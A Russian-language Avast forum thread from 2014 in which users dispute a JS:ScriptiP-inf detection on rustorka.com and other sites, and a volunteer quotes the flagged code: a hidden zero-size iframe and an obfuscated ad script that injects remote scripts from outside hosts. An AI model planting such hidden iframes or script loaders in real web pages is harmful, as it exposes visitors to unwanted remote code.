Author Topic: Аваст блокирует сайт содержащий скрипт JS:ScriptiP-inf [Trj]  (Read 18974 times)

0 Members and 1 Guest are viewing this topic.

REDACTED

  • Guest
Здравствуйте. Сегодня 08.11.2014 при включении компьютера и выхода в интернет Аваст заблокировал сайт хттп://rustorka.com/forum/index.php обнаружив на этом сайте скрип JS:ScriptiP-inf [Trj]. Как я понял теперь после недавней обновы Аваст будет блочить любой сайт содержащий данный скрипт.
Единственное, что спасает от ругательства Аваста на сайт это добавление сайта в исключения в веб-экран или полное отключение веб-экрана.
Браузеры Хром и Фирефокс

Аваст:
1. Avast Premier 2015.10.0.2208
2. 141107-0
3. наличие последних потоковых обновлений (Где глянуть?)
4. Инфекция JS:ScriptiP-inf [Trj]
5.  хттп://rustorka.com/forum/index.php

Проведена проверка:
1. https://www.virustotal.com/ru/url/8ec8c422defa12d3ea312f614cc0145c54813de141181f7244a62ed1d0846853/analysis/1415472707/
2. http://app.webinspector.com/public/reports/26529405?cache=true
3. http://www.urlvoid.com/scan/rustorka.com/
4. http://sitecheck.sucuri.net/results/rustorka.com/forum/index.php
5. http://zulu.zscaler.com/submission/show/786b9947f7c82f47253ca1f8f6e33f74-1415473176

Прошу помощи.

P.S. Простите ради бога долго грузилось и на клепало много тем удалите все лишние.
« Last Edit: November 08, 2014, 08:10:28 PM by M0N0LIT »

Offline GoodToBeBad

  • Newbie
  • *
  • Posts: 1
и adultmult.tv также блочится
а вирус тотал показывает 0/60
фикс ит плз

REDACTED

  • Guest
и adultmult.tv также блочится
а вирус тотал показывает 0/60
фикс ит плз
Пока, что единственное решение для доверенных сайтов это добавить их во все исключения в Авасте и ждать помощи и четкого ответа будет ли это исправлено и в какие сроки а то я смотрю сегодня у многих неполадки после обновы.

REDACTED

  • Guest
У меня та-же ситуация, вчера или позавчера Avast начал ругаться на мои сайты, обнаружена инфекция JS:ScriptIP-inf [Trj].
Уважаемые, что за ерунда такая, на моем сайте никогда не было вирусов, все антивирусные сканеры показывают что сайт чист!
Обновите Avast он после обновы стал орать чуть-ли не на все сайты, это не дело, из за ложного уведомления многие вэб-мастера теряют репутацию, посещаемость, деньги!

REDACTED

  • Guest
Проблема решена.
« Last Edit: November 10, 2014, 10:28:40 AM by ronvi »

Offline Andrey,pro

  • Avast Überevangelist
  • Ultra Poster
  • *****
  • Posts: 5012
  • Things happen
ronvi, здравствуйте и добро пожаловать на форум!

Сайт rustorka.com не блокируется, блокируется только форум, т.к. он заражен скрытым iframe:
Code: [Select]
<iframe src="http://sub2.bubblesmedia.ru/displaycu/108?cpu=5" style="visibility:hidden;" width="0" height="0">
Как только вы очистите сайт, форум перестанет блокироваться.

На сайте antistarforce.com тот же самый скрытый iframe.


Offline Andrey,pro

  • Avast Überevangelist
  • Ultra Poster
  • *****
  • Posts: 5012
  • Things happen
23423243235utsf, здравствуйте и добро пожаловать на форум!

Укажите, пожалуйста, адрес вашего сайта.

GoodToBeBad, здравствуйте и добро пожаловать на форум!

Ваш сайт не блокируется.

REDACTED

  • Guest
Проблема решена.
« Last Edit: November 10, 2014, 10:28:50 AM by ronvi »

REDACTED

  • Guest
23423243235utsf, здравствуйте и добро пожаловать на форум!

Укажите, пожалуйста, адрес вашего сайта.

Andrey,pro, Добрый день, вот адрес моего сайта, ссылка с переадресацией: ********.ru

================
Проблема решена, причина - партнерская программа!
================
« Last Edit: November 09, 2014, 12:09:54 PM by 23423243235utsf »

Offline Andrey,pro

  • Avast Überevangelist
  • Ultra Poster
  • *****
  • Posts: 5012
  • Things happen
ronvi, я не веб-мастер, но, оказывается, проблема не в этом iframe, который sucuri считает вредоносным.
Avast блокирует эту рекламу:
Code: [Select]
<noindex>
<script>document.write('<scr'+'ipt src="http://geede.info/j/w.php?id=1351&r='+Math.random()+'"></scr'+'ipt>');</script>
<script type="text/javascript">(function(){var j=135538,f=false,b=document,c=b.documentElement,e=window;function g(){var a="";a+="rt="+(new Date).getTime()%1E7*100+Math.round(Math.random()*99);a+=b.referrer?"&r="+escape(b.referrer):"";return a}function h(){var a=b.getElementsByTagName("head")[0];if(a)return a;for(a=c.firstChild;a&&a.nodeName.toLowerCase()=="#text";)a=a.nextSibling;if(a&&a.nodeName.toLowerCase()!="#text")return a;a=b.createElement("head");c.appendChild(a);return a}function i(){var a=b.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://c.luxup.ru/t/lb"+j+"_1.js?"+g());typeof a!="undefined"&&h().appendChild(a)}function d(){if(!f){f=true;i()}};if(b.addEventListener)b.addEventListener("DOMContentLoaded",d,false);else if(b.attachEvent){c.doScroll&&e==e.top&&function(){try{c.doScroll("left")}catch(a){setTimeout(arguments.callee,0);return}d()}();b.attachEvent("onreadystatechange",function(){b.readyState==="complete"&&d()})}else e.onload=d})();</script>
</noindex>

Если вы считаете, что это ложное срабатывание, можете обратиться в техническую поддержку Avast:

Avast Подача запроса в центр поддержки:https://support.avast.com [требуется регистрация]

REDACTED

  • Guest
Andrey,pro понимаете я не хозяин сайта и до кода сайта мне не добраться. Как я понимаю пока сами владельцы сайтов этого не сделают то к остальных он будет ругаться.

REDACTED

  • Guest
Andrey,pro
то есть онлайн проверка сайта на вирусы ,форума русторка и антистарфорс,drweb для вас не авторитет?
 





REDACTED

  • Guest
Уважаемые вэб-мастера, я догнал из за чего Avast кричит на многие сайты и не дает загрузить контент!
Всему причина - партнерская программа traforet.com
Вы можете снять временно коды слайдера/кликандера, надеюсь в понедельник администрация партнерки решит эту проблему!

REDACTED

  • Guest
Проблема решена.
« Last Edit: November 10, 2014, 10:29:05 AM by ronvi »

REDACTED

  • Guest
ronvi, это из за партнерки трафорет! После того как я снял коды, аваст перестал выдавать - инфекция JS:ScriptiP-inf
А вот на счет iframe непонятно, причем тут оно.